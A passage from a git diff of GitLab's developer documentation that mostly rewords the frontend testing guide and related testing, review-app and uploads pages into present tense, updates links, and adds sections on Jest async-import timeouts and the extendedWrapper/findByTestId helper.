support our migration and we think you'll love using Jest. - -As always, please use discretion. Jest solves a lot of issues we experienced in Karma and -provides a better developer experience, however there are potentially unexpected issues -which could arise (especially with testing against browser specific features). - ### Differences to Karma - Jest runs in a Node.js environment, not in a browser. Support for running Jest tests in a browser [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/26982). @@ -71,7 +60,7 @@ which could arise (especially with testing against browser specific features). - No [context object](https://jasmine.github.io/tutorials/your_first_suite#section-The_%3Ccode%3Ethis%3C/code%3E_keyword) is passed to tests in Jest. This means sharing `this.something` between `beforeEach()` and `it()` for example does not work. Instead you should declare shared variables in the context that they are needed (via `const` / `let`). -- The following will cause tests to fail in Jest: +- The following cause tests to fail in Jest: - Unmocked requests. - Unhandled Promise rejections. - Calls to `console.warn`, including warnings from libraries like Vue. @@ -89,14 +78,14 @@ See also the issue for [support running Jest tests in browsers](https://gitlab.c ### Debugging Jest tests -Running `yarn jest-debug` will run Jest in debug mode, allowing you to debug/inspect as described in the [Jest docs](https://jestjs.io/docs/en/troubleshooting#tests-are-failing-and-you-don-t-know-why). +Running `yarn jest-debug` runs Jest in debug mode, allowing you to debug/inspect as described in the [Jest docs](https://jestjs.io/docs/en/troubleshooting#tests-are-failing-and-you-don-t-know-why). ### Timeout error The default timeout for Jest is set in [`/spec/frontend/test_setup.js`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/frontend/test_setup.js). -If your test exceeds that time, it will fail. +If your test exceeds that time, it fails. If you cannot improve the performance of the tests, you can increase the timeout for a specific test using @@ -115,37 +104,6 @@ describe('Component', () => { Remember that the performance of each test depends on the environment. -### Timout error due to async components - -If your component is fetching some other components asynchroneously based on some conditions, it might happen so that your Jest suite for this component will become flaky timing out from time to time. - -```javascript -// ide.vue -export default { - components: { - 'error-message': () => import('./error_message.vue'), - 'gl-button': () => import('@gitlab/ui/src/components/base/button/button.vue'), - ... -}; -``` - -To address this issue, you can "help" Jest by stubbing the async components so that Jest would not need to fetch those asynchroneously at the run-time. - -```javascript -// ide_spec.js -import { GlButton } from '@gitlab/ui'; -import ErrorMessage from '~/ide/components/error_message.vue'; -... -return shallowMount(ide, { - ... - stubs: { - ErrorMessage, - GlButton, - ... - }, -}) -``` - ## What and how to test Before jumping into more gritty details about Jest-specific workflows like mocks and spies, we should briefly cover what to test with Jest. @@ -227,15 +185,15 @@ For example, it's better to use the generated markup to trigger a button click a ## Common practices -Following you'll find some general common practices you will find as part of our test suite. Should you stumble over something not following this guide, ideally fix it right away. 🎉 +These some general common practices included as part of our test suite. Should you stumble over something not following this guide, ideally fix it right away. 🎉 ### How to query DOM elements When it comes to querying DOM elements in your tests, it is best to uniquely and semantically target the element. -Preferentially, this is done by targeting what the user actually sees using [DOM Testing Library](https://testing-library.com/docs/dom-testing-library/intro). -When selecting by text it is best to use [`getByRole` or `findByRole`](https://testing-library.com/docs/dom-testing-library/api-queries#byrole) +Preferentially, this is done by targeting what the user actually sees using [DOM Testing Library](https://testing-library.com/docs/dom-testing-library/intro/). +When selecting by text it is best to use [`getByRole` or `findByRole`](https://testing-library.com/docs/dom-testing-library/api-queries/#byrole) as these enforce accessibility best practices as well. The examples below demonstrate the order of preference. When writing Vue component unit tests, it can be wise to query children by component, so that the unit test can focus on comprehensive value coverage @@ -246,6 +204,7 @@ possible selectors include: - A semantic attribute like `name` (also verifies that `name` was setup properly) - A `data-testid` attribute ([recommended by maintainers of `@vue/test-utils`](https://github.com/vuejs/vue-test-utils/issues/1498#issuecomment-610133465)) + optionally combined with [`findByTestId`](#extendedwrapper-and-findbytestid) - a Vue `ref` (if using `@vue/test-utils`) ```javascript @@ -262,7 +221,8 @@ it('exists', () => { // Good (especially for unit tests) wrapper.find(FooComponent); wrapper.find('input[name=foo]'); - wrapper.find('[data-testid="foo"]'); + wrapper.find('[data-testid="my-foo-id"]'); + wrapper.findByTestId('my-foo-id'); // with the extendedWrapper utility – check below wrapper.find({ ref: 'foo'}); // Bad @@ -273,6 +233,8 @@ it('exists', () => { }); ``` +It is recommended to use `kebab-case` for `data-testid` attribute. + It is not recommended that you add `.js-*` classes just for testing purposes. Only do this if there are no other feasible options available. Do not use a `.qa-*` class or `data-qa-selector` attribute for any tests other than QA end-to-end testing. @@ -389,7 +351,7 @@ it('tests a promise rejection', () => { ### Manipulating Time -Sometimes we have to test time-sensitive code. For example, recurring events that run every X amount of seconds or similar. Here you'll find some strategies to deal with that: +Sometimes we have to test time-sensitive code. For example, recurring events that run every X amount of seconds or similar. Here are some strategies to deal with that: #### `setTimeout()` / `setInterval()` in application @@ -435,7 +397,7 @@ it('does something', () => { Sometimes a test needs to wait for something to happen in the application before it continues. Avoid using [`setTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout) -because it makes the reason for waiting unclear and if used within Karma with a time larger than zero it will slow down our test suite. +because it makes the reason for waiting unclear and if used within Karma with a time larger than zero it slows down our test suite. Instead use one of the following approaches. #### Promises and Ajax calls @@ -599,7 +561,7 @@ Jest has [`toBe`](https://jestjs.io/docs/en/expect#tobevalue) and As [`toBe`](https://jestjs.io/docs/en/expect#tobevalue) uses [`Object.is`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is) to compare values, it's faster (by default) than using `toEqual`. -While the latter will eventually fallback to leverage [`Object.is`](https://github.com/facebook/jest/blob/master/packages/expect/src/jasmineUtils.ts#L91), +While the latter eventually falls back to leverage [`Object.is`](https://github.com/facebook/jest/blob/master/packages/expect/src/jasmineUtils.ts#L91), for primitive values, it should only be used when complex objects need a comparison. Examples: @@ -745,10 +707,10 @@ a [Jest mock for the package `monaco-editor`](https://gitlab.com/gitlab-org/gitl If a manual mock is needed for a CE module, please place it in `spec/frontend/mocks/ce`. -- Files in `spec/frontend/mocks/ce` will mock the corresponding CE module from `app/assets/javascripts`, mirroring the source module's path. - - Example: `spec/frontend/mocks/ce/lib/utils/axios_utils` will mock the module `~/lib/utils/axios_utils`. +- Files in `spec/frontend/mocks/ce` mocks the corresponding CE module from `app/assets/javascripts`, mirroring the source module's path. + - Example: `spec/frontend/mocks/ce/lib/utils/axios_utils` mocks the module `~/lib/utils/axios_utils`. - We don't support mocking EE modules yet. -- If a mock is found for which a source module doesn't exist, the test suite will fail. 'Virtual' mocks, or mocks that don't have a 1-to-1 association with a source module, are not supported yet. +- If a mock is found for which a source module doesn't exist, the test suite fails. 'Virtual' mocks, or mocks that don't have a 1-to-1 association with a source module, are not supported yet. #### Manual mock examples @@ -776,11 +738,10 @@ Please consult the [official Jest docs](https://jestjs.io/docs/en/jest-object#mo For running the frontend tests, you need the following commands: -- `rake frontend:fixtures` (re-)generates [fixtures](#frontend-test-fixtures). -- `yarn test` executes the tests. -- `yarn jest` executes only the Jest tests. - -As long as the fixtures don't change, `yarn test` is sufficient (and saves you some time). +- `rake frontend:fixtures` (re-)generates [fixtures](#frontend-test-fixtures). Make sure that + fixtures are up-to-date before running tests that require them. +- `yarn jest` runs Jest tests. +- `yarn karma` runs Karma tests. ### Live testing and focused testing -- Jest @@ -809,12 +770,12 @@ yarn jest term Karma allows something similar, but it's way more costly. -Running Karma with `yarn run karma-start` will compile the JavaScript -assets and run a server at `http://localhost:9876/` where it will automatically -run the tests on any browser which connects to it. You can enter that URL on +Running Karma with `yarn run karma-start` compiles the JavaScript +assets and runs a server at `http://localhost:9876/` where it automatically +runs the tests on any browser which connects to it. You can enter that URL on multiple browsers at once to have it run the tests on each in parallel. -While Karma is running, any changes you make will instantly trigger a recompile +While Karma is running, any changes you make instantly trigger a recompile and retest of the **entire test suite**, so you can see instantly if you've broken a test with your changes. You can use [Jasmine focused](https://jasmine.github.io/2.5/focused_specs.html) or excluded tests (with `fdescribe` or `xdescribe`) to get Karma to run only the @@ -866,8 +827,8 @@ You can find generated fixtures are in `tmp/tests/frontend/fixtures-ee`. #### Creating new fixtures For each fixture, you can find the content of the `response` variable in the output file. -For example, test named `"merge_requests/diff_discussion.json"` in `spec/frontend/fixtures/merge_requests.rb` -will produce output file `tmp/tests/frontend/fixtures-ee/merge_requests/diff_discussion.json`. +For example, a test named `"merge_requests/diff_discussion.json"` in `spec/frontend/fixtures/merge_requests.rb` +produces an output file `tmp/tests/frontend/fixtures-ee/merge_requests/diff_discussion.json`. The `response` variable gets automatically set if the test is marked as `type: :request` or `type: :controller`. When creating a new fixture, it often makes sense to take a look at the corresponding tests for the @@ -977,12 +938,12 @@ describe.each` ### RSpec errors due to JavaScript -By default RSpec unit tests will not run JavaScript in the headless browser -and will simply rely on inspecting the HTML generated by rails. +By default RSpec unit tests don't run JavaScript in the headless browser +and rely on inspecting the HTML generated by rails. If an integration test depends on JavaScript to run correctly, you need to make sure the spec is configured to enable JavaScript when the tests are run. If you -don't do this you'll see vague error messages from the spec runner. +don't do this, the spec runner displays vague error messages. To enable a JavaScript driver in an `rspec` test, add `:js` to the individual spec or the context block containing multiple specs that need @@ -1004,6 +965,45 @@ describe "Admin::AbuseReports", :js do end ``` +### Jest test timeout due to async imports + +If a module asynchronously imports some other modules at runtime, these modules must be +transpiled by the Jest loaders at runtime. It's possible that this can cause [Jest to timeout](https://gitlab.com/gitlab-org/gitlab/-/issues/280809). + +If you run into this issue, consider eager importing the module so that Jest compiles +and caches it at compile-time, fixing the runtime timeout. + +Consider the following example: + +```javascript +// the_subject.js + +export default { + components: { + // Async import Thing because it is large and isn't always needed. + Thing: () => import(/* webpackChunkName: 'thing' */ './path/to/thing.vue'), + } +}; +``` + +Jest doesn't automatically transpile the `thing.vue` module, and depending on its size, could +cause Jest to time out. We can force Jest to transpile and cache this module by eagerly importing +it like so: + +```javascript +// the_subject_spec.js + +import Subject from '~/feature/the_subject.vue'; + +// Force Jest to transpile and cache +// eslint-disable-next-line import/order, no-unused-vars +import _Thing from '~/feature/path/to/thing.vue'; +``` + +**PLEASE NOTE:** Do not simply disregard test timeouts. This could be a sign that there's +actually a production problem. Use this opportunity to analyze the production webpack bundles and +chunks and confirm that there is not a production issue with the async imports. + ## Overview of Frontend Testing Levels Main information on frontend testing levels can be found in the [Testing Levels page](testing_levels.md). @@ -1016,7 +1016,7 @@ Tests relevant for frontend development can be found at the following places: RSpec runs complete [feature tests](testing_levels.md#frontend-feature-tests), while the Jest and Karma directories contain [frontend unit tests](testing_levels.md#frontend-unit-tests), [frontend component tests](testing_levels.md#frontend-component-tests), and [frontend integration tests](testing_levels.md#frontend-integration-tests). -All tests in `spec/javascripts/` will eventually be migrated to `spec/frontend/` (see also [#52483](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52483)). +All tests in `spec/javascripts/` are intended to be migrated to `spec/frontend/` (see also [#52483](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52483)). Before May 2018, `features/` also contained feature tests run by Spinach. These tests were removed from the codebase in May 2018 ([#23036](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/23036)). @@ -1045,7 +1045,7 @@ testAction( ); ``` -Check an example in [`spec/javascripts/ide/stores/actions_spec.jsspec/javascripts/ide/stores/actions_spec.js`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/javascripts/ide/stores/actions_spec.js). +Check an example in [`spec/frontend/ide/stores/actions_spec.js`](https://gitlab.com/gitlab-org/gitlab/-/blob/fdc7197609dfa7caeb1d962042a26248e49f27da/spec/frontend/ide/stores/actions_spec.js#L392). ### Wait until Axios requests finish @@ -1057,6 +1057,29 @@ These are very useful if you don't have a handle to the request's Promise, for e Both functions run `callback` on the next tick after the requests finish (using `setImmediate()`), to allow any `.then()` or `.catch()` handlers to run. +### `extendedWrapper` and `findByTestId` + +Using `data-testid` is one of the [recommended ways to query DOM elements](#how-to-query-dom-elements). +You can use the `extendedWrapper` utility on the `wrapper` returned by `shalowMount`/`mount`. +By doing so, the `wrapper` provides you with the ability to perform a `findByTestId`, +which is a shortcut to the more verbose `wrapper.find('[data-testid="my-test-id"]');` + +```javascript +import { extendedWrapper } from 'jest/helpers/vue_test_utils_helper'; + +describe('FooComponent', () => { + const wrapper = extendedWrapper(shallowMount({ + template: `<div data-testid="my-test-id"></div>`, + })); + + it('exists', () => { + expect(wrapper.findByTestId('my-test-id').exists()).toBe(true); + }); +}); +``` + +Check an example in [`spec/frontend/alert_management/components/alert_details_spec.js`](https://gitlab.com/gitlab-org/gitlab/-/blob/ac1c9fa4c5b3b45f9566147b1c88fd1339cd7c25/spec/frontend/alert_management/components/alert_details_spec.js#L32). + ## Testing with older browsers Some regressions only affect a specific browser version. We can install and test in particular browsers with either Firefox or BrowserStack using the following steps: @@ -1065,7 +1088,7 @@ Some regressions only affect a specific browser version. We can install and test [BrowserStack](https://www.browserstack.com/) allows you to test more than 1200 mobile devices and browsers. You can use it directly through the [live app](https://www.browserstack.com/live) or you can install the [chrome extension](https://chrome.google.com/webstore/detail/browserstack/nkihdmlheodkdfojglpcjjmioefjahjb) for easy access. -Sign in to BrowserStack with the credentials saved in the **Engineering** vault of GitLab's +Sign in to BrowserStack with the credentials saved in the **Engineering** vault of the GitLab [shared 1Password account](https://about.gitlab.com/handbook/security/#1password-guide). ### Firefox @@ -1076,7 +1099,7 @@ You can download any older version of Firefox from the releases FTP server, <htt 1. From the website, select a version, in this case `50.0.1`. 1. Go to the mac folder. -1. Select your preferred language, you will find the DMG package inside, download it. +1. Select your preferred language. The DMG package is inside. Download it. 1. Drag and drop the application to any other folder but the `Applications` folder. 1. Rename the application to something like `Firefox_Old`. 1. Move the application to the `Applications` folder. diff --git a/doc/development/testing_guide/index.md b/doc/development/testing_guide/index.md index 840c8c9206c..68326879dd0 100644 --- a/doc/development/testing_guide/index.md +++ b/doc/development/testing_guide/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Testing standards and style guidelines diff --git a/doc/development/testing_guide/review_apps.md b/doc/development/testing_guide/review_apps.md index 5dcc7e7091e..a5294be40a9 100644 --- a/doc/development/testing_guide/review_apps.md +++ b/doc/development/testing_guide/review_apps.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Review Apps @@ -102,8 +102,8 @@ subgraph "CNG-mirror pipeline" - The manual `review-stop` can be used to stop a Review App manually, and is also started by GitLab once a merge request's branch is deleted after being merged. -- The Kubernetes cluster is connected to the `gitlab` projects using - [GitLab's Kubernetes integration](../../user/project/clusters/index.md). This basically +- The Kubernetes cluster is connected to the `gitlab` projects using the + [GitLab Kubernetes integration](../../user/project/clusters/index.md). This basically allows to have a link to the Review App directly from the merge request widget. ### Auto-stopping of Review Apps @@ -164,7 +164,7 @@ used by the `review-deploy` and `review-stop` jobs. You need to [open an access request (internal link)](https://gitlab.com/gitlab-com/access-requests/-/issues/new) for the `gcp-review-apps-dev` GCP group and role. -This will grant you the following permissions for: +This grants you the following permissions for: - [Retrieving pod logs](#dig-into-a-pods-logs). Granted by [Viewer (`roles/viewer`)](https://cloud.google.com/iam/docs/understanding-roles#kubernetes-engine-roles). - [Running a Rails console](#run-a-rails-console). Granted by [Kubernetes Engine Developer (`roles/container.pods.exec`)](https://cloud.google.com/iam/docs/understanding-roles#kubernetes-engine-roles). @@ -317,7 +317,7 @@ kubectl get cm --sort-by='{.metadata.creationTimestamp}' | grep 'review-' | grep ### Using K9s -[K9s](https://github.com/derailed/k9s) is a powerful command line dashboard which allows you to filter by labels. This can help identify trends with apps exceeding the [review-app resource requests](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/review_apps/base-config.yaml). Kubernetes will schedule pods to nodes based on resource requests and allow for CPU usage up to the limits. +[K9s](https://github.com/derailed/k9s) is a powerful command line dashboard which allows you to filter by labels. This can help identify trends with apps exceeding the [review-app resource requests](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/review_apps/base-config.yaml). Kubernetes schedules pods to nodes based on resource requests and allow for CPU usage up to the limits. - In K9s you can sort or add filters by typing the `/` character - `-lrelease=<review-app-slug>` - filters down to all pods for a release. This aids in determining what is having issues in a single deployment @@ -395,8 +395,8 @@ helm ls -d | grep "Jun 4" | cut -f1 | xargs helm delete --purge #### Mitigation steps taken to avoid this problem in the future -We've created a new node pool with smaller machines so that it's less likely -that a machine will hit the "too many mount points" problem in the future. +We've created a new node pool with smaller machines to reduce the risk +that a machine reaches the "too many mount points" problem in the future. ## Frequently Asked Questions diff --git a/doc/development/testing_guide/smoke.md b/doc/development/testing_guide/smoke.md index 76484dd193b..4fd2729a4d3 100644 --- a/doc/development/testing_guide/smoke.md +++ b/doc/development/testing_guide/smoke.md @@ -1,17 +1,17 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Smoke Tests It is imperative in any testing suite that we have Smoke Tests. In short, smoke -tests will run quick sanity end-to-end functional tests from GitLab QA and are +tests run quick end-to-end functional tests from GitLab QA and are designed to run against the specified environment to ensure that basic functionality is working. -Currently, our suite consists of this basic functionality coverage: +Our suite consists of this basic functionality coverage: - User standard authentication - SSH Key creation and addition to a user diff --git a/doc/development/testing_guide/testing_levels.md b/doc/development/testing_guide/testing_levels.md index d9e7edfa0c8..14d4ee82f75 100644 --- a/doc/development/testing_guide/testing_levels.md +++ b/doc/development/testing_guide/testing_levels.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Testing levels @@ -129,14 +129,14 @@ graph RL - **All server requests**: When running frontend unit tests, the backend may not be reachable, so all outgoing requests need to be mocked. - **Asynchronous background operations**: - Background operations cannot be stopped or waited on, so they will continue running in the following tests and cause side effects. + Background operations cannot be stopped or waited on, so they continue running in the following tests and cause side effects. #### What *not* to mock in unit tests - **Non-exported functions or classes**: - Everything that is not exported can be considered private to the module, and will be implicitly tested through the exported classes and functions. + Everything that is not exported can be considered private to the module, and is implicitly tested through the exported classes and functions. - **Methods of the class under test**: - By mocking methods of the class under test, the mocks will be tested and not the real methods. + By mocking methods of the class under test, the mocks are tested and not the real methods. - **Utility functions (pure functions, or those that only modify parameters)**: If a function has no side effects because it has no state, it is safe to not mock it in tests. - **Full HTML pages**: @@ -206,7 +206,7 @@ graph RL - **All server requests**: Similar to unit tests, when running component tests, the backend may not be reachable, so all outgoing requests need to be mocked. - **Asynchronous background operations**: - Similar to unit tests, background operations cannot be stopped or waited on. This means they will continue running in the following tests and cause side effects. + Similar to unit tests, background operations cannot be stopped or waited on. This means they continue running in the following tests and cause side effects. - **Child components**: Every component is tested individually, so child components are mocked. See also [`shallowMount()`](https://vue-test-utils.vuejs.org/api/#shallowmount) @@ -214,7 +214,7 @@ graph RL #### What *not* to mock in component tests - **Methods or computed properties of the component under test**: - By mocking part of the component under test, the mocks will be tested and not the real component. + By mocking part of the component under test, the mocks are tested and not the real component. - **Functions and classes independent from Vue**: All plain JavaScript code is already covered by unit tests and needs not to be mocked in component tests. @@ -295,7 +295,7 @@ graph RL Similar to unit and component tests, when running component tests, the backend may not be reachable, so all outgoing requests must be mocked. - **Asynchronous background operations that are not perceivable on the page**: Background operations that affect the page must be tested on this level. - All other background operations cannot be stopped or waited on, so they will continue running in the following tests and cause side effects. + All other background operations cannot be stopped or waited on, so they continue running in the following tests and cause side effects. #### What *not* to mock in integration tests @@ -360,7 +360,7 @@ possible). | Tests path | Testing engine | Notes | | ---------- | -------------- | ----- | -| `spec/features/` | [Capybara](https://github.com/teamcapybara/capybara) + [RSpec](https://github.com/rspec/rspec-rails#feature-specs) | If your test has the `:js` metadata, the browser driver will be [Poltergeist](https://github.com/teamcapybara/capybara#poltergeist), otherwise it's using [RackTest](https://github.com/teamcapybara/capybara#racktest). | +| `spec/features/` | [Capybara](https://github.com/teamcapybara/capybara) + [RSpec](https://github.com/rspec/rspec-rails#feature-specs) | If your test has the `:js` metadata, the browser driver is [Poltergeist](https://github.com/teamcapybara/capybara#poltergeist), otherwise it's using [RackTest](https://github.com/teamcapybara/capybara#racktest). | ### Frontend feature tests @@ -453,13 +453,13 @@ should take care of not introducing too many (slow and duplicated) tests. The reasons why we should follow these best practices are as follows: -- System tests are slow to run since they spin up the entire application stack +- System tests are slow to run because they spin up the entire application stack in a headless browser, and even slower when they integrate a JS driver - When system tests run with a JavaScript driver, the tests are run in a different thread than the application. This means it does not share a - database connection and your test will have to commit the transactions in + database connection and your test must commit the transactions in order for the running application to see the data (and vice-versa). In that - case we need to truncate the database after each spec instead of simply + case we need to truncate the database after each spec instead of rolling back a transaction (the faster strategy that's in use for other kind of tests). This is slower than transactions, however, so we want to use truncation only when necessary. @@ -488,7 +488,7 @@ Every new feature should come with a [test plan](https://gitlab.com/gitlab-org/g | Tests path | Testing engine | Notes | | ---------- | -------------- | ----- | -| `qa/qa/specs/features/` | [Capybara](https://github.com/teamcapybara/capybara) + [RSpec](https://github.com/rspec/rspec-rails#feature-specs) + Custom QA framework | Tests should be placed under their corresponding [Product category](https://about.gitlab.com/handbook/product/product-categories/) | +| `qa/qa/specs/features/` | [Capybara](https://github.com/teamcapybara/capybara) + [RSpec](https://github.com/rspec/rspec-rails#feature-specs) + Custom QA framework | Tests should be placed under their corresponding [Product category](https://about.gitlab.com/handbook/product/categories/) | > See [end-to-end tests](end_to_end/index.md) for more information. diff --git a/doc/development/testing_guide/testing_migrations_guide.md b/doc/development/testing_guide/testing_migrations_guide.md index b944c7ed406..31054d0ffb2 100644 --- a/doc/development/testing_guide/testing_migrations_guide.md +++ b/doc/development/testing_guide/testing_migrations_guide.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -24,15 +24,15 @@ Adding a `:migration` tag to a test signature enables some custom RSpec [`spec/support/migration.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/f81fa6ab1dd788b70ef44b85aaba1f31ffafae7d/spec/support/migration.rb) to run. -A `before` hook will revert all migrations to the point that a migration +A `before` hook reverts all migrations to the point that a migration under test is not yet migrated. -In other words, our custom RSpec hooks will find a previous migration, and +In other words, our custom RSpec hooks finds a previous migration, and migrate the database **down** to the previous migration version. With this approach you can test a migration against a database schema. -An `after` hook will migrate the database **up** and reinstitute the latest +An `after` hook migrates the database **up** and reinstitutes the latest schema version, so that the process does not affect subsequent specs and ensures proper isolation. @@ -40,7 +40,7 @@ ensures proper isolation. To test an `ActiveRecord::Migration` class (i.e., a regular migration `db/migrate` or a post-migration `db/post_migrate`), you -will need to load the migration file by using the `require_migration!` helper +must load the migration file by using the `require_migration!` helper method because it is not autoloaded by Rails. Example: @@ -57,15 +57,15 @@ RSpec.describe ... #### `require_migration!` -Since the migration files are not autoloaded by Rails, you will need to manually +Since the migration files are not autoloaded by Rails, you must manually load the migration file. To do so, you can use the `require_migration!` helper method -which can automatically load the correct migration file based on the spec file name. +which can automatically load the correct migration file based on the spec filename. For example, if your spec file is named as `populate_foo_column_spec.rb` then the -helper method will try to load `${schema_version}_populate_foo_column.rb` migration file. +helper method tries to load `${schema_version}_populate_foo_column.rb` migration file. In case there is no pattern between your spec file and the actual migration file, -you can provide the migration file name without the schema version, like so: +you can provide the migration filename without the schema version, like so: ```ruby require_migration!('populate_foo_column') @@ -75,8 +75,9 @@ require_migration!('populate_foo_column') Use the `table` helper to create a temporary `ActiveRecord::Base`-derived model for a table. [FactoryBot](best_practices.md#factories) -**should not** be used to create data for migration specs. For example, to -create a record in the `projects` table: +**should not** be used to create data for migration specs because it relies on +application code which can change after the migration has run, and cause the test +to fail. For example, to create a record in the `projects` table: ```ruby project = table(:projects).create!(id: 1, name: 'gitlab1', path: 'gitlab1') @@ -84,8 +85,8 @@ project = table(:projects).create!(id: 1, name: 'gitlab1', path: 'gitlab1') #### `migrate!` -Use the `migrate!` helper to run the migration that is under test. It will not only -run the migration, but will also bump the schema version in the `schema_migrations` +Use the `migrate!` helper to run the migration that is under test. It +runs the migration and bumps the schema version in the `schema_migrations` table. It is necessary because in the `after` hook we trigger the rest of the migrations, and we need to know where to start. Example: @@ -102,7 +103,7 @@ end #### `reversible_migration` Use the `reversible_migration` helper to test migrations with either a -`change` or both `up` and `down` hooks. This will test that the state of +`change` or both `up` and `down` hooks. This tests that the state of the application and its data after the migration becomes reversed is the same as it was before the migration ran in the first place. The helper: @@ -183,7 +184,7 @@ end ## Testing a non-`ActiveRecord::Migration` class To test a non-`ActiveRecord::Migration` test (a background migration), -you will need to manually provide a required schema version. Please add a +you must manually provide a required schema version. Please add a `schema` tag to a context that you want to switch the database schema within. If not set, `schema` defaults to `:latest`. diff --git a/doc/development/testing_guide/testing_rake_tasks.md b/doc/development/testing_guide/testing_rake_tasks.md index 384739d1adb..dc754721e24 100644 --- a/doc/development/testing_guide/testing_rake_tasks.md +++ b/doc/development/testing_guide/testing_rake_tasks.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Testing Rake tasks @@ -11,7 +11,7 @@ in lieu of the standard Spec helper. Instead of `require 'spec_helper'`, use `require 'rake_helper'`. The helper includes `spec_helper` for you, and configures a few other things to make testing Rake tasks easier. -At a minimum, requiring the Rake helper will redirect `stdout`, include the +At a minimum, requiring the Rake helper redirects `stdout`, include the runtime task helpers, and include the `RakeHelpers` Spec support module. The `RakeHelpers` module exposes a `run_rake_task(<task>)` method to make diff --git a/doc/development/understanding_explain_plans.md b/doc/development/understanding_explain_plans.md index 896b34a4ab4..3f596e89e29 100644 --- a/doc/development/understanding_explain_plans.md +++ b/doc/development/understanding_explain_plans.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Understanding EXPLAIN plans diff --git a/doc/development/uploads.md b/doc/development/uploads.md index 0307ab76cd1..7ffa9014240 100644 --- a/doc/development/uploads.md +++ b/doc/development/uploads.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Uploads development documentation @@ -46,7 +46,7 @@ We have three challenges here: performance, availability, and scalability. ### Performance -Rails process are expensive in terms of both CPU and memory. Ruby [global interpreter lock](https://en.wikipedia.org/wiki/Global_interpreter_lock) adds to cost too because the Ruby process will spend time on I/O operations on step 3 causing incoming requests to pile up. +Rails process are expensive in terms of both CPU and memory. Ruby [global interpreter lock](https://en.wikipedia.org/wiki/Global_interpreter_lock) adds to cost too because the Ruby process spends time on I/O operations on step 3 causing incoming requests to pile up. In order to improve this, [disk buffered upload](#disk-buffered-upload) was implemented. With this, Rails no longer deals with writing uploaded files to disk. @@ -88,7 +88,7 @@ To address this problem an HA object storage can be used and it's supported by [ Scaling NFS is outside of our support scope, and NFS is not a part of cloud native installations. -All features that require Sidekiq and do not use direct upload won't work without NFS. In Kubernetes, machine boundaries translate to PODs, and in this case the uploaded file will be written into the POD private disk. Since Sidekiq POD cannot reach into other pods, the operation will fail to read it. +All features that require Sidekiq and do not use direct upload doesn't work without NFS. In Kubernetes, machine boundaries translate to PODs, and in this case the uploaded file is written into the POD private disk. Since Sidekiq POD cannot reach into other pods, the operation fails to read it. ## How to select the proper level of acceleration? @@ -96,7 +96,7 @@ Selecting the proper acceleration is a tradeoff between speed of development and We can identify three major use-cases for an upload: -1. **storage:** if we are uploading for storing a file (i.e. artifacts, packages, discussion attachments). In this case [direct upload](#direct-upload) is the proper level as it's the less resource-intensive operation. Additional information can be found on [File Storage in GitLab](file_storage.md). +1. **storage:** if we are uploading for storing a file (like artifacts, packages, or discussion attachments). In this case [direct upload](#direct-upload) is the proper level as it's the less resource-intensive operation. Additional information can be found on [File Storage in GitLab](file_storage.md). 1. **in-controller/synchronous processing:** if we allow processing **small files** synchronously, using [disk buffered upload](#disk-buffered-upload) may speed up development. 1. **Sidekiq/asynchronous processing:** Asynchronous processing must implement [direct upload](#direct-upload), the reason being that it's the only way to support Cloud Native deployments without a shared NFS. @@ -120,7 +120,7 @@ We have three kinds of file encoding in our uploads: 1. <i class="fa fa-check-circle"></i> **multipart**: `multipart/form-data` is the most common, a file is encoded as a part of a multipart encoded request. 1. <i class="fa fa-check-circle"></i> **body**: some APIs uploads files as the whole request body. -1. <i class="fa fa-times-circle"></i> **JSON**: some JSON API uploads 